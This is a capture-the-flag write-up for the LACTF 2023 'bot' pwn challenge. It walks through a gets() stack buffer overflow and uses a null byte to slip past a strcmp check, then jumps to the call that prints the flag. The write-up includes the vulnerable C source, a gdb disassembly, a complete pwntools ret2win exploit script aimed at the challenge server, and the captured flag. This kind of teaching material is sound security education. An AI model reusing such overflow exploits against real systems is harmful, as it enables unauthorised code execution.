Note

Second pwn challenge from the LACTF 2023. Basic ret2win with a little twist: bypassing a condition to prevent the program from exiting…

Description

I made a bot to automatically answer all of your questions.

Dockerfile, libc-2.31.so, ld-2.31.so, bot.c, bot

File information

before doing all of that, we run pwninit to patch the binary with the given libc and ld

checksec bot_patched && file bot_patched

[*] '/home/conflict/ctfs/lactf2023/bot/bot_patched'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x3ff000)
    RUNPATH:  '.'
bot_patched: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter ./ld-2.31.so, for GNU/Linux 3.2.0, BuildID[sha1]=1ed799aea3b8082b9dadde68dd67684e6101badc, with debug_info, not stripped

So, we’re going to work on a 64 bits non-stripped dynamically linked executable, with NX enabled, but it’s not a problem for us since we’re not going to use a shellcode.

For the source code, there is no need to decompile the file or to struggle with some pseudo-code because we have the .c file.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int main(void) {
  setbuf(stdout, NULL);
  char input[64];
  volatile int give_flag = 0;
  puts("hi, how can i help?");
  gets(input);
  if (strcmp(input, "give me the flag") == 0) {
    puts("lol no");
  } else if (strcmp(input, "please give me the flag") == 0) {
    puts("no");
  } else if (strcmp(input, "help, i have no idea how to solve this") == 0) {
    puts("L");
  } else if (strcmp(input, "may i have the flag?") == 0) {
    puts("not with that attitude");
  } else if (strcmp(input, "please please please give me the flag") == 0) {
    puts("i'll consider it");
    sleep(15);
    if (give_flag) {
      puts("ok here's your flag");
      system("cat flag.txt");
    } else {
      puts("no");
    }
  } else {
    puts("sorry, i didn't understand your question");
    exit(1);
  }
}

Exploitation

Looking at the C code, we see that the program creates a buffer of 64 bytes for our input, they reads with gets(). As a reminder, this function is dangerous and should never be used because it doesn’t allow you to check the length of the user input.

We have our entry point, but we have one last problem: If none of the comparaisons under the gets() is true, the program will exit and never return, so overwriting rip is useless because it will never jump back to it.

So we will enter “give me the flag” followed by a null byte and our payload. The null byte will stop the string and allow us to bypass the strcmp.

We now have two things to do: finding out the offset to overwrite rip’s save, and finding out where we want to jump to print the flag.

To find out the offset, we can just take a look at the code again:

  char input[64];

This is the first variable initialised in the program so it will be the closest from rbp (and thus from rip since rbp is just before). It is 64 bytes long so the 65th byte of our input should end up in rbp, and the 73rd (64+8+1) byte should end up in rip. Now, remember that we are not only sending junk, so we have to substract the length of the sentence to this offset.

Then knowing where to jump is just as easy. We’re going to use gdb to disassemble the main function:

pwndbg> disass main
Dump of assembler code for function main:
   0x0000000000401182 <+0>: push   rbp
   0x0000000000401183 <+1>: mov    rbp,rsp
   0x0000000000401186 <+4>: sub    rsp,0x50
   0x000000000040118a <+8>: mov    rax,QWORD PTR [rip+0x2ecf]        # 0x404060 <stdout@GLIBC_2.2.5>
   0x0000000000401191 <+15>:  mov    esi,0x0
   0x0000000000401196 <+20>:  mov    rdi,rax
   0x0000000000401199 <+23>:  call   0x401040 <setbuf@plt>
   0x000000000040119e <+28>:  mov    DWORD PTR [rbp-0x44],0x0
   0x00000000004011a5 <+35>:  lea    rdi,[rip+0xe5c]        # 0x402008
   0x00000000004011ac <+42>:  call   0x401030 <puts@plt>
   0x00000000004011b1 <+47>:  lea    rax,[rbp-0x40]
   0x00000000004011b5 <+51>:  mov    rdi,rax
   0x00000000004011b8 <+54>:  call   0x401070 <gets@plt>
   0x00000000004011bd <+59>:  lea    rax,[rbp-0x40]
   0x00000000004011c1 <+63>:  lea    rsi,[rip+0xe54]        # 0x40201c
   0x00000000004011c8 <+70>:  mov    rdi,rax
   0x00000000004011cb <+73>:  call   0x401060 <strcmp@plt>
   0x00000000004011d0 <+78>:  test   eax,eax
   0x00000000004011d2 <+80>:  jne    0x4011e5 <main+99>
   0x00000000004011d4 <+82>:  lea    rdi,[rip+0xe52]        # 0x40202d
   0x00000000004011db <+89>:  call   0x401030 <puts@plt>
   0x00000000004011e0 <+94>:  jmp    0x4012cc <main+330>
   0x00000000004011e5 <+99>:  lea    rax,[rbp-0x40]
   0x00000000004011e9 <+103>: lea    rsi,[rip+0xe44]        # 0x402034
   0x00000000004011f0 <+110>: mov    rdi,rax
   0x00000000004011f3 <+113>: call   0x401060 <strcmp@plt>
   0x00000000004011f8 <+118>: test   eax,eax
   0x00000000004011fa <+120>: jne    0x40120d <main+139>
   0x00000000004011fc <+122>: lea    rdi,[rip+0xe49]        # 0x40204c
   0x0000000000401203 <+129>: call   0x401030 <puts@plt>
   0x0000000000401208 <+134>: jmp    0x4012cc <main+330>
   0x000000000040120d <+139>: lea    rax,[rbp-0x40]
   0x0000000000401211 <+143>: lea    rsi,[rip+0xe38]        # 0x402050
   0x0000000000401218 <+150>: mov    rdi,rax
   0x000000000040121b <+153>: call   0x401060 <strcmp@plt>
   0x0000000000401220 <+158>: test   eax,eax
   0x0000000000401222 <+160>: jne    0x401235 <main+179>
   0x0000000000401224 <+162>: lea    rdi,[rip+0xe4c]        # 0x402077
   0x000000000040122b <+169>: call   0x401030 <puts@plt>
   0x0000000000401230 <+174>: jmp    0x4012cc <main+330>
   0x0000000000401235 <+179>: lea    rax,[rbp-0x40]
   0x0000000000401239 <+183>: lea    rsi,[rip+0xe39]        # 0x402079
   0x0000000000401240 <+190>: mov    rdi,rax
   0x0000000000401243 <+193>: call   0x401060 <strcmp@plt>
   0x0000000000401248 <+198>: test   eax,eax
   0x000000000040124a <+200>: jne    0x40125a <main+216>
   0x000000000040124c <+202>: lea    rdi,[rip+0xe3b]        # 0x40208e
   0x0000000000401253 <+209>: call   0x401030 <puts@plt>
   0x0000000000401258 <+214>: jmp    0x4012cc <main+330>
   0x000000000040125a <+216>: lea    rax,[rbp-0x40]
   0x000000000040125e <+220>: lea    rsi,[rip+0xe43]        # 0x4020a8
   0x0000000000401265 <+227>: mov    rdi,rax
   0x0000000000401268 <+230>: call   0x401060 <strcmp@plt>
   0x000000000040126d <+235>: test   eax,eax
   0x000000000040126f <+237>: jne    0x4012b6 <main+308>
   0x0000000000401271 <+239>: lea    rdi,[rip+0xe56]        # 0x4020ce
   0x0000000000401278 <+246>: call   0x401030 <puts@plt>
   0x000000000040127d <+251>: mov    edi,0xf
   0x0000000000401282 <+256>: call   0x401090 <sleep@plt>
   0x0000000000401287 <+261>: mov    eax,DWORD PTR [rbp-0x44]
   0x000000000040128a <+264>: test   eax,eax
   0x000000000040128c <+266>: je     0x4012a8 <main+294>
   0x000000000040128e <+268>: lea    rdi,[rip+0xe4a]        # 0x4020df
   0x0000000000401295 <+275>: call   0x401030 <puts@plt>
   0x000000000040129a <+280>: lea    rdi,[rip+0xe52]        # 0x4020f3
   0x00000000004012a1 <+287>: call   0x401050 <system@plt>
   0x00000000004012a6 <+292>: jmp    0x4012cc <main+330>
   0x00000000004012a8 <+294>: lea    rdi,[rip+0xd9d]        # 0x40204c
   0x00000000004012af <+301>: call   0x401030 <puts@plt>
   0x00000000004012b4 <+306>: jmp    0x4012cc <main+330>
   0x00000000004012b6 <+308>: lea    rdi,[rip+0xe43]        # 0x402100
   0x00000000004012bd <+315>: call   0x401030 <puts@plt>
   0x00000000004012c2 <+320>: mov    edi,0x1
   0x00000000004012c7 <+325>: call   0x401080 <exit@plt>
   0x00000000004012cc <+330>: mov    eax,0x0
   0x00000000004012d1 <+335>: leave  
   0x00000000004012d2 <+336>: ret    
End of assembler dump.

We’ll jump at the puts() right before the system() call. (0x00401295)

Now that we know all of that, let’s make our exploit !

#!/usr/bin/env python3

from pwn import *

exe = ELF("./bot_patched", checksec=False)
libc = ELF("./libc-2.31.so", checksec=False)
ld = ELF("./ld-2.31.so", checksec=False)

context.binary = exe


def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.DEBUG:
            gdb.attach(r)
    else:
        r = remote("lac.tf",31180)

    return r


def main():
    r = conn()

    r.recv()

    condition = b"give me the flag\x00"
    junk = b"A"*(64-len(condition))
    rbp = b"B"*0x8
    rip = p64(0x00401295)

    # Added a ret gadget to fix the stack alignment because i'm on Ubuntu, but it works fine without it remotely é
    ret = p64(0x000401016)

    payload = condition + junk + rbp + ret + rip
    
    r.sendline(payload)

    print(b"flag -> " + r.recvall().split(b"\n")[2])

    #r.interactive()


if __name__ == "__main__":
    main()

Now, we can test it locally and remotely to check it works fine:

2023-02-16-114129_1161x653_scrot

and it does! gg!

flag -> lactf{hey_stop_bullying_my_bot_thats_not_nice}